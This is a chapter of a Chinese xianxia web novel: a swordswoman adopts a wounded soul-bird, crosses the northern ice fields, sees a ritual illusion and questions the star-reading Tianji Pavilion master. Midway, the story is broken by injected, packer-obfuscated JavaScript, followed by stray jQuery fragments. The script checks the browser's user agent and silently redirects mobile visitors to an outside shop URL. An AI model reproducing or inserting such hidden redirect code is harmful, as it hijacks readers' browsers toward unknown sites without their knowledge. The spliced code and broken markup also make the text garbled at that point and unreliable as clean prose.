月朗星稀,一剑向北,沧海碧波映清辉。
师尊信中所言的那位“兄”,云清月此前从未听闻,她所知的师尊好友大多早已仙逝,只有天机阁主牵星尊者,比她长上千岁,与她有些交情。
匆匆赶至天机阁却被告知牵星尊者已往北境闭关,她便转道御剑跨北海,一人一剑一鸟往冰原而去。
当今修界,四海五洲。
东洲五大仙门以问仙宗为首,南洲十二城多修者世家,西洲妖族盘踞,北境冰原雪地。唯中洲乃绝灵之地,与东南西北四洲隔海相望。
天门闭锁飞升无望,北境隔绝天机因而天雷不扰,加之冰灵气纯粹,可稳健寿元,便成了渡劫期大能们闭关归隐的好去处。
云清月端坐剑上,终于有时间好好审视这只不明不白的魂鸟。
“说,你是何人?”冷肃的语调让一直偷偷观察的魂鸟浑身一颤,埋头进翅膀,缩成一团。
胆子很小,而且似乎不会说话只会鸟叫。身下斩霄剑似是不满她的冷硬盘问,剑气嗡鸣发出抗议。
云清月微叹,放缓语气道,“我来问,你可以点头或摇头,能听懂吗?”
圆润的脑袋探出翅膀,黑豆眼眼湿漉漉的,小幅度点了点。
“不知道自己的名字?”
点头。
“还是不记得自己的身份?”
快速点头。
“还记得些什么?”
快速摇头。
……遭逢大难,魂魄残缺,什么都不记得倒也正常。
“唧。”
见她不再询问,魂鸟疑惑抬头,讨好般蹭蹭她的指尖,挤出一声清脆啼鸣。
可恶,竟然撒娇耍赖。
看来它这是问不出什么了。
她不讨厌这样的看似柔软的生灵,脆弱易碎却也生机勃勃。
手指似乎有自己的想法,坚定地伸过去,挠了挠魂鸟毛茸茸的头顶。
魂鸟见状马上贴了过来,却被一道灵息缠住,定在原地。
指尖灵光熠熠,滚过毛茸茸的鸟腹,携着温和治愈的灵气朝魂体深处的魂核探去。
鸟身战战,尾羽明灭,仿佛维持不住将散未散的烛火。很快魂体便如同浸入暖泉般舒展,双眼微眯,彻底摊开任她长驱直入。
魂息清润温凉,魂核凝练纯澈,虽遍布裂痕,魂体溃散,却隐有生机未绝,坚韧非常。此前应是修为不错,且无甚杀孽。若有机缘或可转修鬼道,补全魂魄再续道途。
纤长指尖轻拨,凝出一团暖光,为残破的魂核修补几处裂痕。魂体彻底维持不住,猛然一缩,“噗”地一声散成一团魂火,被那滋养魂源的力量逼得摇摇欲坠。
她下意识并起两指,顺着魂火的形态轻挠安抚,摊开的魂火陡然僵住,随即魂光大振,整个魂体剧烈颤抖,像是在无声尖叫。
它彻底缠绕上了她的手指,还不知足般往手腕攀来,不停地颤抖缠绕,发出近乎呜咽般依赖至极的颤音。
云清月拈指盘坐,任由它在指尖扑腾。身下斩霄穿过流云,惬意轻抖着剑身。
一个疗程结束,指尖毫不留情地离开。魂火缓了缓重新凝成圆滚滚的魂鸟,竟扑扇着翅膀飞了起来,要往人肩上攀,却被中途挡下捞进袖中。
魂鸟贴脸不成反被制裁,也不沮丧,乖乖团进衣袖窝在腕边。
“小蓝”
“唧?”
“以后你就叫小蓝。”冰冷无情的语气,吐出的话语却令鸟暖心。
小蓝后知后觉点了点头,开心鸣唱着回应起来。
**
北境极地,万里绝禁,只有亘古不化的冰川和冰层下择人而噬的深渊。
此地天机遮蔽,灵力场紊乱,罗盘和传讯符通通无法使用。
荒原上了无人迹,裹挟着冰雪的寒风如刺骨钢刀能将灵脉冻僵,只有成年便是元婴修为的雪怪成群在此生活。
天机阁主牵星尊者便在此处闭关。她精通卜算观星,时常与扶摇探讨卜算之道,算来略长云清月一辈。
云清月御剑至此,望着茫茫雪原,一时无处下手。
小蓝乖乖缩回袖中不再探头探脑,看来此地冰寒,连魂都受不了,也不知那些闭关清修的尊者们会选何处落脚。
云清月展开神识,试图捞到一两个人问问路。
厚重的雪层似被惊扰扑簌簌震颤,庞大身躯破雪而出,锋锐利爪转瞬便至身前。
“嗷——”
安眠的雪怪被打断好眠,愤怒地一拥而上,将要撕碎这大胆的闯入者。
剑气如虹,携霜带雪重重拍上每一只雪怪的脑门,将它们拍的五体投地,四仰八叉。
雪怪摇摆着巨大的毛茸茸脑袋,猩红睡眼忽而变得清澈懵懂,抬目看向半空中熠熠如利刃出鞘的女子,哀嚎一声抱紧了自己的脑袋。
看着眼前这群缩成雪球的毛茸团,云清月轻叹一声收敛剑气,径直走向修为最高的那只,温和道,“我来此地寻人,并非有意叨扰,你可知道渡劫修者们都在何处闭关?”
雪团抬起眼从指缝中悄悄打量,见她并无恶意,终于放下心来摊开四肢舒展背脊。几只小雪怪也好奇地围上来对着新奇的陌生种族嗷嗷呜呜。
“嗷嗷嗷”
指指点点。
“嗷嗷——”
向另一个方向指指点点。
“嗷嗷”“嗷嗷嗷”“嗷——”
这群雪怪虽有灵智却只会嗷嗷嗷,指的方向各不相同,到最后居然自顾自地吵了起来。
云清月扶额,以冰雪凝出牵星尊者的小像,又拿出一件她赠予的星盘催出灵气,问道:“有谁见过此人,知道她在何处?”
一只雪怪激动起来,嗷嗷大叫着手舞足蹈,一巴掌拍上自己脑门,然后趴倒在地装死,眼中还似乎藏着无尽委屈。
“你被她揍过,还差点一命呜呼?”
雪怪飞快点头,带着一点酒逢知己的兴奋。
……这是把她当来寻仇的了?
不等她回应,那只雪怪起身,边走边回头示意,要主动为她带路。
云清月咽下到嘴边的话,默默跟上。
她们在一处冰崖上停下。
崖壁满覆霜花,崖下冰棱蔓延,似一片晶莹星海。
几只雪魄傀儡在其中游荡,细细看去,竟循着某种特殊的韵律。步罡踏斗,暗合星图轨迹,是天机阁独有的阵法。
云清月拍拍雪怪毛茸茸的头顶作别,璇身而下,沿着轨迹直入阵门,抬目便是一片巍峨绮丽的冰晶宫殿。
琉璃般的棱晶悬空如林,流光沙与极夜星辰交相辉映,仿佛和九天星河勾连。
本是极美的景致,其下却暗藏危险肃杀。云清月辅一落定,星辉流转间冰刃便直封命门。
好凛冽的待客之道。
云清月挥散利刃,足尖轻点落在灵府入口冰阶上,抬手一道剑气扣门。
铭刻着周天星斗运转的大门应声而开,像是终于认出远道而来的故人,扫榻相迎。
门后暖玉回廊蜿蜒幽深,丰沛灵气混着暖香迎面涌来,与极寒北境仿佛两个世界。
穹顶周天演化,星芒映在冰面上,被踏出凌冽碎光。
足尖落下的瞬间,星移斗转。
那些原本平静的星宿骤然加速,清光大盛将她吞没其中。
又是幻境,云清月身形一顿。一回生,二回熟,她倒是有些想看看这次又是些什么了。
星芒旋转着散开,化作一片陌生的天地。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914486|213275||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
乌云蔽日,风雨如晦。
无数道锁链从虚空中垂落,密密麻麻将天地困做一座囚笼。
锁链的尽头连着一方巨石。
石面平整,光可鉴人,一看就是个磨剑的好材料。
斩霄剑许是见猎心喜,兴奋地扑上去劈砍,留下几道浅淡白痕。就连魂鸟也似被吸引,扑扇着翅膀叨来叨去,顺便磨磨爪子。
云清月不语,只看着它们撒欢。
石心处忽而莹润生光,光泽流转间隐约透出个人形来。
那人被没入石中的锁链紧紧缠缚,抱膝团在巨石中央,如同胎儿在胞宫中蜷缩。墨发披散看不清眉目,冰肌玉骨几与冰雪一色。
巨石开始如呼吸般鼓胀,像是一只的鲜活的石茧。有鲜红的液体沿着锁链渗出石壁,如血液一般,随着石茧的缩胀,滴落到下方巨大的青铜鼎中。
下方不知何时竟围了一圈人。
他们跪伏在地,高举双手,掌心托着各式各样的小碗,金银玉石的、青铜琉璃的、白骨制成的……
那些暗红的液体每每落滴,他们便俯身叩拜,高唱祝祷。
云销雨霁,天光乍亮,一群黑袍人开始围绕它旋转,祝舞,似乎在进行什么仪式。袍角袖口的纹路似与青要山那几个黑袍祭司同出一脉,却更精美,繁复。
斩霄剑震颤嗡鸣,魂鸟也不安地啾啾直叫,缩回唯一令鸟心安的袖口。
这群家伙还真是执着于歪门邪道,云清月心头火起,剑意斩断锁链,搅翻天地。
星芒骤然崩散。
幻境如潮水般退去,她仍站在星宿回廊中。
穹顶的星斗还在缓缓流转,脚下的冰面依已然平静如初。
仿佛什么都没有发生过。
云清月垂下眼,斩霄和小蓝都已安静下来,往她手边蹭蹭,乖得不得了。
她没有停步,只是不动声色地拢紧袖口,将它藏得更深了一些。
穿过回廊步入灵府,一簇簇灵气盎然的仙株奇花在廊道边随意开着。灵泉潺潺环绕一方暖玉砌成的亭子,亭中一人独坐,眼缚薄纱自斟自饮,似等候已久。
云清月打了个稽首道,“牵星尊者安,晚辈有一事不明,前来请教。”
亭中燃着安神的灵香,那人的语调也如香雾般慵懒缠绵,“客星入紫薇,贵客临门。许久不见,你我何必这么生分。能说的,我方才已经在幻星阵中都告诉你了。”
“他们究竟是何人?与我师尊又有何关联?”云清月心下了然,她要问的那位“兄”与幻境和青要山中的那伙邪修关系匪浅。
“他的身份我亦不知,你方才看到的就是星盘能推演的全部。前尘已了,何必执着?”牵星劝道。
“可为何?三百年前他没有应约而来,如今又引邪阵犯境。”云清月恨恨道,“这其中必有蹊跷,我定会查个水落石出。”
“……”牵星见她心意已决,知她是个不撞南墙不回头的性子,只能随她。
“我还有一问。”
“请讲。”
“青瑶神女到底去了何处?”
牵星终于抬眸望来,薄纱下眼眸如星辰流转。“神女自是已归天界。”她沉吟片刻,拢着宽大的道袍正色道。
云清月不再多言。
殿中一时寂然无声,只有穹顶星斗缓缓流转,投下明明灭灭的光,似在无声博弈。
良久,云清月起身告别,恭谨一礼,“多谢尊者解惑。”
牵星摆摆手,靠回软榻。
人影渐远,室内终归寂静无声,一双纤柔素手绕着青丝,扯下一根白发。
她垂眸看着那根白发,轻叹道:“小月啊,我等不了太久了。”她们已经等得太久了,久到希望磨灭,行同枯木。